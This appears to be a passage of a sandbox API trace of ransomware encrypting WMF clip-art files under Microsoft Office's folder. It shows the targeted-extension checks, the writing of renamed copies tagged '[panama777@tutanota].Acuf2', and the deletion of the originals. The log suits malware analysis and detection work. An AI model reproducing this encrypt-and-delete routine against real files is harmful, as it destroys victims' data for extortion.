	[0261.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63
	[0261.156] lstrlenW (lpString=".doc") returned 4
	[0261.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString=".docx") returned 5
	[0261.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.156] lstrlenW (lpString=".pdf") returned 4
	[0261.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString=".xls") returned 4
	[0261.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.156] lstrlenW (lpString=".xlsx") returned 5
	[0261.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.156] lstrlenW (lpString=".ppt") returned 4
	[0261.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63
	[0261.156] lstrlenW (lpString=".zip") returned 4
	[0261.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.156] lstrlenW (lpString=".rar") returned 4
	[0261.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString=".bz2") returned 4
	[0261.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString=".7z") returned 3
	[0261.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63
	[0261.156] lstrlenW (lpString=".dbf") returned 4
	[0261.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63
	[0261.156] lstrlenW (lpString=".1cd") returned 4
	[0261.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63
	[0261.156] lstrlenW (lpString=".jpg") returned 4
	[0261.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.177] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1768) returned 1
	[0261.177] CloseHandle (hObject=0x360) returned 1
	[0261.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20
	[0261.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.177] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.177] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.178] GetLastError () returned 0x0
	[0261.178] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x6e8, lpOverlapped=0x0) returned 1
	[0261.179] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x6f0, lpOverlapped=0x0) returned 1
	[0261.180] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.180] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.180] SetEndOfFile (hFile=0x330) returned 1
	[0261.180] CloseHandle (hObject=0x330) returned 1
	[0261.180] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.180] SetEndOfFile (hFile=0x360) returned 1
	[0261.182] CloseHandle (hObject=0x360) returned 1
	[0261.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1
	[0261.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63
	[0261.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63
	[0261.182] lstrlenW (lpString=".doc") returned 4
	[0261.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString=".docx") returned 5
	[0261.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.183] lstrlenW (lpString=".pdf") returned 4
	[0261.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString=".xls") returned 4
	[0261.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.183] lstrlenW (lpString=".xlsx") returned 5
	[0261.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.183] lstrlenW (lpString=".ppt") returned 4
	[0261.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63
	[0261.183] lstrlenW (lpString=".zip") returned 4
	[0261.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.183] lstrlenW (lpString=".rar") returned 4
	[0261.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString=".bz2") returned 4
	[0261.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString=".7z") returned 3
	[0261.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63
	[0261.183] lstrlenW (lpString=".dbf") returned 4
	[0261.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63
	[0261.183] lstrlenW (lpString=".1cd") returned 4
	[0261.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63
	[0261.183] lstrlenW (lpString=".jpg") returned 4
	[0261.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.184] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=900) returned 1
	[0261.184] CloseHandle (hObject=0x360) returned 1
	[0261.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20
	[0261.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.185] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.185] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.185] GetLastError () returned 0x0
	[0261.185] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x384, lpOverlapped=0x0) returned 1
	[0261.364] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x390, lpOverlapped=0x0) returned 1
	[0261.365] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.365] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.365] SetEndOfFile (hFile=0x330) returned 1
	[0261.365] CloseHandle (hObject=0x330) returned 1
	[0261.365] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.365] SetEndOfFile (hFile=0x360) returned 1
	[0261.367] CloseHandle (hObject=0x360) returned 1
	[0261.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1
	[0261.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63
	[0261.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63
	[0261.377] lstrlenW (lpString=".doc") returned 4
	[0261.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.377] lstrlenW (lpString=".docx") returned 5
	[0261.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.378] lstrlenW (lpString=".pdf") returned 4
	[0261.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.378] lstrlenW (lpString=".xls") returned 4
	[0261.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.378] lstrlenW (lpString=".xlsx") returned 5
	[0261.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.378] lstrlenW (lpString=".ppt") returned 4
	[0261.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63
	[0261.378] lstrlenW (lpString=".zip") returned 4
	[0261.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.378] lstrlenW (lpString=".rar") returned 4
	[0261.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.378] lstrlenW (lpString=".bz2") returned 4
	[0261.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.378] lstrlenW (lpString=".7z") returned 3
	[0261.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63
	[0261.378] lstrlenW (lpString=".dbf") returned 4
	[0261.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63
	[0261.378] lstrlenW (lpString=".1cd") returned 4
	[0261.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63
	[0261.378] lstrlenW (lpString=".jpg") returned 4
	[0261.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.379] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1382) returned 1
	[0261.379] CloseHandle (hObject=0x2a4) returned 1
	[0261.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20
	[0261.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.379] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.379] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.380] GetLastError () returned 0x0
	[0261.380] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x566, lpOverlapped=0x0) returned 1
	[0261.437] WriteFile (in: hFile=0x360, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0261.438] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.438] WriteFile (in: hFile=0x360, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.438] SetEndOfFile (hFile=0x360) returned 1
	[0261.438] CloseHandle (hObject=0x360) returned 1
	[0261.438] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.438] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.440] CloseHandle (hObject=0x2a4) returned 1
	[0261.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1
	[0261.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63
	[0261.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63
	[0261.441] lstrlenW (lpString=".doc") returned 4
	[0261.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.441] lstrlenW (lpString=".docx") returned 5
	[0261.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.441] lstrlenW (lpString=".pdf") returned 4
	[0261.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.441] lstrlenW (lpString=".xls") returned 4
	[0261.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.441] lstrlenW (lpString=".xlsx") returned 5
	[0261.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.441] lstrlenW (lpString=".ppt") returned 4
	[0261.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63
	[0261.441] lstrlenW (lpString=".zip") returned 4
	[0261.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.441] lstrlenW (lpString=".rar") returned 4
	[0261.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.441] lstrlenW (lpString=".bz2") returned 4
	[0261.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.441] lstrlenW (lpString=".7z") returned 3
	[0261.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63
	[0261.442] lstrlenW (lpString=".dbf") returned 4
	[0261.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63
	[0261.442] lstrlenW (lpString=".1cd") returned 4
	[0261.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63
	[0261.442] lstrlenW (lpString=".jpg") returned 4
	[0261.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.455] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2700) returned 1
	[0261.455] CloseHandle (hObject=0x2a4) returned 1
	[0261.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20
	[0261.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.455] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.455] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.456] GetLastError () returned 0x0
	[0261.456] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xa8c, lpOverlapped=0x0) returned 1
	[0261.489] WriteFile (in: hFile=0x360, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xa90, lpOverlapped=0x0) returned 1
	[0261.490] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.490] WriteFile (in: hFile=0x360, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.490] SetEndOfFile (hFile=0x360) returned 1
	[0261.490] CloseHandle (hObject=0x360) returned 1
	[0261.490] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.490] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.492] CloseHandle (hObject=0x2a4) returned 1
	[0261.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1
	[0261.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63
	[0261.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63
	[0261.492] lstrlenW (lpString=".doc") returned 4
	[0261.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.492] lstrlenW (lpString=".docx") returned 5
	[0261.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.492] lstrlenW (lpString=".pdf") returned 4
	[0261.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.493] lstrlenW (lpString=".xls") returned 4
	[0261.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.493] lstrlenW (lpString=".xlsx") returned 5
	[0261.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.493] lstrlenW (lpString=".ppt") returned 4
	[0261.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63
	[0261.493] lstrlenW (lpString=".zip") returned 4
	[0261.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.493] lstrlenW (lpString=".rar") returned 4
	[0261.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.493] lstrlenW (lpString=".bz2") returned 4
	[0261.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.493] lstrlenW (lpString=".7z") returned 3
	[0261.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63
	[0261.493] lstrlenW (lpString=".dbf") returned 4
	[0261.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63
	[0261.493] lstrlenW (lpString=".1cd") returned 4
	[0261.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63
	[0261.493] lstrlenW (lpString=".jpg") returned 4
	[0261.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.845] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.845] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
